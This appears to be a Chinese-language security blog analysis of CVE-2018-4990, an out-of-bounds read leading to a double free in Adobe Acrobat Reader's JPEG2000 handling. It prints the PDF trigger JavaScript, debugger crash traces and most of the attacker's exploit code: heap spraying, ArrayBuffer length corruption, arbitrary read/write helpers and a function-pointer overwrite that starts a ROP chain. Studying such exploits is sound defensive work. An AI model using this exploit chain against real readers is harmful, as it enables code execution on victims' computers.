針對Adobe Double Free的利用分析
在本文中我將介紹攻擊者如何利用CVE-2018-4990,這是在處理特製JPEG2000圖像時在Acrobat Reader中的越界讀取漏洞。
介紹
由於Acrobat Reader的使用很廣泛,這使得我決定去試試對這一漏洞進行分析。目前我對AcroRd32.exe (c4c6f8680efeedafa4bb7a71d1a6f0cd37529ffc)v2018.011.20035的所有測試均已完成。顯然其他版本也有受到影響,請參閱Adobe的公告apsb18-09了解更多詳情。
深入探尋漏洞的根源
我需要做的第一件事就是解壓縮PDF,因為許多對象被壓縮,隱藏了真正的功能,如JavaScript和圖像。我比較喜歡使用pdf工具包,因為它是命令行驅動的。
c:> pdftk 4b672deae5c1231ea20ea70b0bf091164ef0b939e2cf4d142d31916a169e8e01 output poc.pdf uncompress
由於我沒有JPEG2000圖像的原始樣本,因此我不知道該圖像是否已翻轉過,所以我只能深入研究JavaScript。剝去JavaScript的其餘部分後,我們可以看到以下代碼會觸發讀取的界限:
function trigger(){
var f = this.getField("Button1");
if(f){
f.display = display.visible;
}
}
trigger();
JavaScript來自根節點觸發的OpenAction:
1 0 obj
/Length 130
>>
stream
function trigger(){
var f = this.getField("Button1");
if(f){
f.display = display.visible;
}
}
trigger();
endstream
endobj
...
5 0 obj
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 6 0 R
/AcroForm 7 0 R
/Type /Catalog
>>
endobj
6 0 obj
/JS 1 0 R
/Type /Action
/S /JavaScript
>>
endobj
...
trailer
/Root 5 0 R
/Size 39
>>
在啟用頁面堆棧和用戶模式堆棧跟蹤的情況下,我們會獲得以下崩潰:
(a48.1538): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=d0d0d0b0 ebx=00000000 ecx=d0d0d000 edx=d0d0d0b0 esi=020e0000 edi=020e0000
eip=66886e88 esp=0022a028 ebp=0022a074 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286
verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8:
66886e88 813abbbbcdab cmp dword ptr [edx],0ABCDBBBBh ds:0023:d0d0d0b0=????????
0:000> kv
ChildEBP RetAddr Args to Child
0022a074 66886f95 020e1000 d0d0d0d0 020e0000 verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8 (FPO: [SEH])
0022a098 66887240 020e1000 d0d0d0d0 0022a108 verifier!AVrfpDphFindBusyMemory+0x15 (FPO: [2,5,0])
0022a0b4 66889080 020e1000 d0d0d0d0 0078d911 verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20 (FPO: [2,3,0])
0022a0d0 777969cc 020e0000 01000002 d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90 (FPO: [3,3,0])
0022a118 77759e07 020e0000 01000002 d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f (FPO: [SEH])
0022a20c 777263a6 00000000 d0d0d0d0 387e2f98 ntdll!RtlpFreeHeap+0x5d (FPO: [SEH])
0022a22c 7595c614 020e0000 00000000 d0d0d0d0 ntdll!RtlFreeHeap+0x142 (FPO: [3,1,4])
0022a240 5df7ecfa 020e0000 00000000 d0d0d0d0 kernel32!HeapFree+0x14 (FPO: [3,0,0])
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesAdobeAcrobat Reader DCReaderJP2KLib.dll -
0022a254 667d0574 d0d0d0d0 7ea9257c 69616fac MSVCR120!free+0x1a (FPO: [Non-Fpo]) (CONV: cdecl) [f:ddvctoolscrtcrtw32heapfree.c @ 51]
WARNING: Stack unwind information not available. Following frames may be wrong.
0022a374 667e6482 35588fb8 4380cfd8 000000fd JP2KLib!JP2KCopyRect+0xbae6
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program FilesAdobeAcrobat Reader DCReaderAcroRd32.dll -
0022a3cc 511d6cfc 36496e88 68d96fd0 4380cfd8 JP2KLib!JP2KImageInitDecoderEx+0x24
0022a454 511d8696 3570afa8 69616fac 3570afa8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x261843
0022a4b4 511cd785 69616fac 0022a4d4 511d6640 AcroRd32_50be0000!AX_PDXlateToHostEx+0x2631dd
0022a4c0 511d6640 69616fac 462f6f70 41826fc8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x2582cc
0022a4d4 50dc030d 69616fac 41826fd0 41826fc8 AcroRd32_50be0000!AX_PDXlateToHostEx+0x261187
0022a510 50dbf92b c0010000 0000000d 41826fc8 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x7867d
0022a5e0 50dbebc6 0022a988 00000000 60b2d137 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x77c9b
0022a930 50dbeb88 0022a988 45c3aa50 60b2d163 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76f36
0022a964 50dbea71 41826e28 45c3aa50 0022aa1c AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76ef8
0022a9d0 50dbd949 c0010000 0000000d 45c3aa50 AcroRd32_50be0000!PDMediaQueriesGetCosObj+0x76de1
我們可以看到,免費的調用者是JP2KLib!接下來讓我們深入該功能JP2KCopyRect + 0xbae6,看看到底發生了什麼。
我們可以看到我們實際上處於循環操作中。代碼循環遍歷主要用於從緩衝區中讀取值的索引,它嘗試讀取的緩衝區大小為0x3f4。 所以如果索引是0xfd,我們有一個從緩衝區+(0xfd * 0x4)== 0x3f4的讀取,這是第一個越界的雙字元。 現在我們如果繼續循環最後一次(0xfe
如果它讀取的值不為空,則代碼將超出邊界值作為第一個參數推送到sub_10066FEA並調用它。
接下來我們將在push eax上的調用者之前設置一個斷點來檢查發生了什麼。
Breakpoint 1 hit
eax=d0d0d0d0 ebx=00000000 ecx=000000fd edx=00000001 esi=33b6cf98 edi=68032e88
eip=667e056e esp=0028a724 ebp=0028a838 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282
JP2KLib!JP2KCopyRect+0xbae0:
667e056e 50 push eax
0:000> bl
0 e 667e056e 0001 (0001) 0:**** JP2KLib!JP2KCopyRect+0xbae0
0:000> dd poi(esi+0x48)+0x4 L1
4732cfe4 000000ff
0:000> r ecx
ecx=000000fd
我們可以清楚地看到上界是0xff,當前索引是0xfd。我不確定這個上限值是否可控,display.visible的常量實際上是0。
這實際上取決於sub_10066FEA對越界值(eax)所做的操作,他會確定此bug的利用率。但是我們已經知道它最終試圖釋放第一個參數。所以基本上這就是一個越界的讀取,他可以導致兩個任意的空值。
一個有趣的觀點是,很多漏洞都是通過格式錯誤的靜態內容和動態內容訪問以及操縱格式錯誤的內容來觸發的。這種類型的模糊是困難的,因為它需要在單個模糊迭代中結合基於突變和基於生成的模糊策略。
利用
因此,為了達到任意空閑,攻擊者需要執行以下操作:
1.載入PDF,在欄位按鈕內部解析(推測)畸形的JP2K圖像。
2.分配大量的ArrayBuffer,它們只是大於讀出邊界的緩衝區
3.設置精確的索引(即249和250),指出攻擊者想要釋放的內容
4.釋放第二個ArrayBuffer,以便分配將落入一個插槽中
5.觸發實際分配到一個插槽並讀越界限的錯誤,釋放這兩個指針
這就是JavaScript代碼的樣子:
var a = new Array(0x3000);
var spraynum = 0x1000;
var sprayarr = new Array(spraynum);
var spraylen = 0x10000-24;
var spraybase = 0x0d0e0048;
var spraypos = 0x0d0f0058;
// force allocations to prepare the heap for the oob read
for(var i1 = 1; i1
a[i] = new Uint32Array(252);
a1[i1][249] = spraybase;
a1[i1][250] = spraybase + 0x10000;
}
// heap spray to land ArrayBuffers at 0x0d0e0048 and 0x0d0f0048
for(var i1 = 1; i1
sprayarr[i1] = new ArrayBuffer(spraylen);
}
// make holes so the oob read chunk lands here
for(var i1 = 1; i1
delete a[i1];
a[i1] = null;
}
實際上,這段代碼正在試圖去獲得空值:
因為252 * 4是0x3F0,所以使用的大小252。然後如果我們添加標題(0x10),則總數為0x400。 這足以在目標緩衝區的頂部分配8個位元組來利用越界的讀取。
因此,攻擊者可以釋放兩個大小為0x10000的緩衝區,這使得它們在JavaScript中具有很好的免費使用條件,因為它們已經引用了sprayarr。 由於緩衝區是連續的,所以發生合併並且釋放的緩衝區變成大小0x20000。
所以在兩個空值發生之後,我們在這個狀態下留下堆。
現在所有攻擊者需要做的是分配一個大小為0x20000的TypedArray,並使用sprayarr引用,找到它來覆蓋下一個ArrayBuffer的位元組長度。
// reclaims the memory, like your typical use after free
for(var i1 = 1; i1
sprayarr2[i1] = new ArrayBuffer(0x20000-24);
}
// look for the TypedArray that is 0x20000 in size
for(var i1 = 1; i1
if( sprayarr[i1].byteLength == 0x20000-24){
// this is the magic, overwrite the next TypedArray"s byte length
var biga = new DataView(sprayarr[i1]);
// offset to the byte length in the header
biga.setUint32(0x10000 - 12, 0x66666666);
// +1 because the next reference as a corrupted length now.
if(sprayarr[i1 + 1].byteLength == 0x66666666){
// game over attackers can read/write out of biga
biga = new DataView(sprayarr[i1 + 1]);
...
...
現在他們知道哪個TypedArray很大了(if(sprayarr [i] .byteLength == 0x20000-24)),然後它們用它來覆蓋相鄰ArrayBuffer的位元組長度(var biga = new DataView(sprayarr [i ]); biga.setUint32(0x10000-12,0x66666666);)。 他們只檢查下一個ArrayBuffer是否具有匹配的位元組長度(如果(sprayarr [i + 1] .byteLength == 0x66666666)),並且如果它確實存在,那麼它們使用DataView相對讀取/寫出相鄰的ArrayBuffer (biga = new DataView(sprayarr [i + 1]);)。
在這個階段,他們需要將這個原語升級為整個進程空間中的完整讀/寫原語,以便泄露TypedArray的指針和基址。
var arr = new Array(0x10000);
for(var i2 = 0x10; i2
arr[i2] = new Uint32Array(1);
for(var i2 = 1; i2
arr[i2] = new Uint32Array(sprayarr[i1 + i2]);
// set the index into the first element of the TypedArray
// so that the attackers where they are
arr[i2][0] = i2;
}
for(var i2 = 0x30000; i2
{
if( biga.getUint32(i2, true) == spraylen && biga.getUint32(i2 + 4, true) > spraypos ){
// save a reference to the relative read/write TypedArray
mydv = biga;
// leak the index
var itmp = mydv.getUint32(i2 + 12, true);
// get a reference to TypedArray that they overwrite
myarray = arr1[itmp];
// get the index where the pointer of the TypedArray is
mypos = biga.getUint32(i2 + 4, true) - spraypos + 0x50;
// set its byte length to a stupid number also
mydv.setUint32(mypos - 0x10, 0x100000, true);
// leak the pointer of the TypedArray
myarraybase = mydv.getUint32(mypos, true);
對於完整的讀寫原語,它們使用mypos和他們要讀取/寫入的地址覆蓋存儲在arr Array的第一個元素中的TypedArray指針,執行讀/寫操作,然後將指針指向TypedArray返回基址(myarraybase)。
function myread(addr){
mydv.setUint32(mypos, addr, true);
var res = myarray[0];
mydv.setUint32(mypos, myarraybase, true);
return res;
}
function mywrite(addr, value){
mydv.setUint32(mypos, addr, true);
myarray[0] = value;
mydv.setUint32(mypos, myarraybase, true);
}
自然而然的,他們需要使用一些輔助函數來使用新的讀/寫原語。事實上到這裡,遊戲就結束了。他們本來可能只進行一次數據攻擊,但是由於Acrobat Reader沒有控制流程防護(CFG),所以他們選擇了傳統的呼叫控制流程。首先,他們找到了EScript.api並獲得了dll的基址,然後他們用dll載入程序存根創建了一個rop鏈,將其全部存儲在myarray中。TypedArray覆蓋了書籤對象的執行函數指針,其中myarray的基地址用於最終重定向執行流。
var bkm = this.bookmarkRoot;
var objescript = 0x23A59BA4 - 0x23800000 + dll_base;
objescript = myread(objescript);
...
mywrite(objescript, 0x6b707d06 - 0x6b640000 + dll_base);
mywrite(objescript + 4, myarraybase);
mywrite(objescript + 0x598,0x6b68389f - 0x6b640000 + dll_base);
// adios!
bkm.execute();
對於攻擊者來說,Adobe Acrobat Reader仍然是一個很好的目標,因為JavaScript對ArrayBuffers非常靈活,PDF解析非常複雜。操作系統緩解的影響很小,因此Adobe選擇加強其二進位文件(/ GUARD:CF)以加大開發難度。如果Adobe啟用了CFG並開發了一種孤立堆的形式(就像他們使用flash一樣),那麼這個bug可能更難以利用。
※一種新的Android惡意軟體HiddenMiner,影響印度和中國的用戶
※倒計時十天開啟,你能聽見我激動的心跳嗎!
TAG:嘶吼RoarTalk |